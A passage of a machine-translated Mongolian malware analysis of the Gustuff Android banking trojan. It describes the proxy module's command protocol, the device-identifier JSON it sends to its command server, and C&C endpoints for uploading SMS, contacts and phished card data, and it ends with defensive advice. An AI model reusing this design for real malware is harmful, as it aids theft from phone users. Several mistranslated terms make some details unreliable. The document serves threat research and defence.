Дараа нь үүнийг стринг дүрслэл болгон хувиргаж бүртгэдэг.

Прокси модулийг холбогдох командыг хүлээн авсны дараа ажиллуулна. Прокси модулийг эхлүүлэх командыг хүлээн авах үед програм дуудагдсан үйлчилгээг эхлүүлнэ Үндсэн үйлчилгээ, Прокси модулийн ажиллагааг удирдах үүрэгтэй - үүнийг эхлүүлэх, зогсоох.

Үйлчилгээг эхлүүлэх үе шатууд:

1. Минутанд нэг удаа ажилладаг таймерыг эхлүүлж, прокси модулийн үйл ажиллагааг шалгана. Хэрэв модуль идэвхгүй бол түүнийг эхлүүлнэ.
Мөн үйл явдал эхлэх үед android.net.conn.ХОЛБООТОЙ_ӨӨРЧЛӨЛТ Прокси модулийг эхлүүлсэн.

2. Аппликешн нь параметр бүхий сэрүүлгийн түгжээг үүсгэдэг ХЭСЭГ_СЭРЭГЛЭХ_ТҮГЖЭЭ мөн түүнийг барьж авдаг. Энэ нь төхөөрөмжийн CPU-г унтах горимд оруулахаас сэргийлнэ.

3. Прокси модулийн команд боловсруулах ангийг эхлүүлж эхлээд мөрийг бүртгэнэ mainLog("сервер эхлүүлэх") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

хаана proxy_cnc, command_port болон proxy_port – прокси серверийн тохиргооноос олж авсан параметрүүд.

Команд боловсруулах анги гэж нэрлэдэг CommandConnection. Эхлүүлсний дараа нэн даруй дараах үйлдлүүдийг гүйцэтгэнэ.

4. -д холбогддог ProxyConfigClass.host: ProxyConfigClass.commandPort халдвар авсан төхөөрөмжийн талаарх мэдээллийг JSON форматаар илгээдэг:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Хаана:

  • id – танигч, “x” нэртэй Shared Preference файлаас “id” талбартай утгыг авахыг оролддог. Хэрэв энэ утгыг олж авах боломжгүй бол шинийг үүсгэнэ. Тиймээс прокси модуль нь Bot ID-тай адил үүсгэгдсэн өөрийн танигчтай байдаг.
  • imei — төхөөрөмжийн IMEI. Хэрэв утгыг олж авах явцад алдаа гарсан бол энэ талбарын оронд алдааны мессеж бичигдэх болно.
  • imsi — төхөөрөмжийн олон улсын гар утасны захиалагчийн таних тэмдэг. Хэрэв утгыг олж авах явцад алдаа гарсан бол энэ талбарын оронд алдааны мессеж бичигдэх болно.
  • загвар — Эцсийн бүтээгдэхүүний эцсийн хэрэглэгчдэд харагдах нэр.
  • үйлдвэрлэгч — Бүтээгдэхүүн/техник хангамжийн үйлдвэрлэгч (Build.MANUFACTURER).
  • androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" форматтай мөр
  • улс — төхөөрөмжийн одоогийн байршил.
  • partnerId нь хоосон мөр юм.
  • багцын нэр - багцын нэр.
  • networkType — одоогийн сүлжээний холболтын төрөл (жишээ нь: "WIFI", "MOBILE"). Алдаа гарсан тохиолдолд null буцаана.
  • hasGsmSupport – үнэн – хэрэв утас GSM дэмждэг бол, өөрөөр хэлбэл худал.
  • simReady - SIM картын төлөв.
  • simCountry - ISO улсын код (SIM карт нийлүүлэгч дээр суурилсан).
  • networkOperator — операторын нэр. Хэрэв утгыг олж авах явцад алдаа гарсан бол энэ талбарын оронд алдааны мессеж бичигдэх болно.
  • simOperator — Үйлчилгээ үзүүлэгчийн нэр (SPN). Хэрэв утгыг олж авах явцад алдаа гарсан бол энэ талбарын оронд алдааны мессеж бичигдэх болно.
  • хувилбар - энэ талбар нь тохиргооны ангилалд хадгалагддаг; ботын туршсан хувилбаруудын хувьд энэ нь "1.6"-тай тэнцүү байв.

5. Серверээс тушаал хүлээх горимд шилжинэ. Серверийн тушаалууд дараах форматаар ирдэг.

  • 0 офсет – команд
  • 1 офсет – sessionId
  • 2 офсет - урт
  • 4 офсет - өгөгдөл

Тушаал ирэхэд програм дараахыг бүртгэдэг.
mainLog("Толгой { sessionId<%id%>], төрөл[<%команд%>], урт[<%length%>] }")

Серверээс дараах тушаалуудыг өгөх боломжтой.

нэр тушаал Өгөгдөл Тодорхойлолт
холболтын дугаар 0 Холболтын ID Шинэ холболт үүсгэ
ХӨДӨӨ 3 цаг Прокси модулийг түр зогсоо
ШИРЭЭНИЙ ТЕННИС 4 - PONG мессеж илгээх

PONG мессеж нь 4 байтаас бүрдэх ба дараах байдалтай байна. 0x04000000.

ConnectionId командыг хүлээн авах үед (шинэ холболт үүсгэх) CommandConnection ангийн жишээг үүсгэдэг ProxyConnection.

  • Прокси хийх ажилд хоёр анги оролцдог: ProxyConnection и Төгсгөл. Анги үүсгэх үед ProxyConnection хаяг руу холбогдож байна ProxyConfigClass.host: ProxyConfigClass.proxyPort болон JSON объектыг дамжуулж байна:

 {
    "id":<%connectionId%>
}

Үүний хариуд сервер нь холболт хийх ёстой алсын серверийн хаягийг агуулсан SOCKS5 мессежийг илгээдэг. Энэ сервертэй харилцах нь ангиар дамждаг Төгсгөл. Холболтын тохиргоог схемийн дагуу дараах байдлаар илэрхийлж болно.

Android Trojan Gustuff нь таны данснаас тосыг (fiat болон crypto) хэрхэн арилгадаг вэ

Сүлжээний харилцан үйлчлэл

Сүлжээний дохиологчдын траффикийн шинжилгээнээс урьдчилан сэргийлэхийн тулд CnC сервер болон програмын хоорондын харилцан үйлчлэлийг SSL протокол ашиглан хамгаалж болно. Серверээс болон сервер рүү дамжуулсан бүх өгөгдлийг JSON форматаар үзүүлэв. Ашиглалтын явцад програм нь дараах хүсэлтийг гүйцэтгэдэг.

  • http://<%CnC%>/api/v1/set_state.php - тушаалын гүйцэтгэлийн үр дүн.
  • http://<%CnC%>/api/v1/get.php - тушаал хүлээн авах.
  • http://<%CnC%>/api/v1/load_sms.php — халдвар авсан төхөөрөмжөөс SMS мессеж татаж авах.
  • http://<%CnC%>/api/v1/load_ab.php — халдвар авсан төхөөрөмжөөс харилцагчдын жагсаалтыг байршуулах.
  • http://<%CnC%>/api/v1/aevents.php – сонголтын файлд байрлах параметрүүдийг шинэчлэх үед хүсэлт гаргана.
  • http://<%CnC%>/api/v1/set_card.php — Google Play Market-ийн дүрд хувирсан фишинг цонх ашиглан олж авсан өгөгдлийг байршуулах.
  • http://<%CnC%>/api/v1/logs.php - бүртгэлийн өгөгдлийг байршуулах.
  • http://<%CnC%>/api/v1/records.php – фишинг цонхоор олж авсан өгөгдлийг байршуулах.
  • http://<%CnC%>/api/v1/set_error.php - гарсан алдааны тухай мэдэгдэл.

зөвлөмж

Үйлчлүүлэгчдээ гар утасны трояны аюулаас хамгаалахын тулд компаниуд хэрэглэгчийн төхөөрөмж дээр нэмэлт програм суулгахгүйгээр хортой үйл ажиллагааг хянах, урьдчилан сэргийлэх боломжийг олгодог цогц шийдлүүдийг ашиглах ёстой.

Үүнийг хийхийн тулд гар утасны троянуудыг илрүүлэх гарын үсгийн аргуудыг үйлчлүүлэгч болон програмын аль алиных нь зан төлөвт дүн шинжилгээ хийх технологиор бэхжүүлэх шаардлагатай. Хамгаалалт нь дижитал хурууны хээ технологи ашиглан төхөөрөмжийг таних функцийг агуулсан байх ёстой бөгөөд энэ нь ердийн бус төхөөрөмжөөс данс ашиглагдаж, залилагчийн гарт аль хэдийн орсон болохыг ойлгох боломжийг олгоно.

Хамгийн чухал зүйл бол компаниудад зөвхөн интернетэд төдийгүй мобайл суваг дээр, жишээлбэл, мобайл банкны программууд, криптовалюттай гүйлгээ хийх болон бусад тохиолдолд үүсэх эрсдлийг хянах боломжийг олгодог суваг хоорондын дүн шинжилгээ хийх боломж юм. гүйлгээ хийж болно.санхүүгийн гүйлгээ.

Хэрэглэгчдэд зориулсан аюулгүй байдлын дүрэм:

  • Google Play-ээс бусад эх сурвалжаас Android үйлдлийн системтэй гар утасны төхөөрөмжид зориулсан програм суулгахгүй байх, програмаас хүссэн эрхүүдэд онцгой анхаарал хандуулах;
  • Android үйлдлийн системийн шинэчлэлтүүдийг тогтмол суулгах;
  • татаж авсан файлуудын өргөтгөлүүдэд анхаарлаа хандуулах;
  • сэжигтэй эх сурвалжид зочлохгүй байх;
  • SMS мессежээр ирсэн холбоос дээр дарж болохгүй.

Гол дүрд тоглосон Семён Рогачева, Group-IB Computer Forensics Laboratory-ийн хортой програмын судалгааны бага мэргэжилтэн.

Эх сурвалж: www.habr.com

сэтгэгдэл нэмэх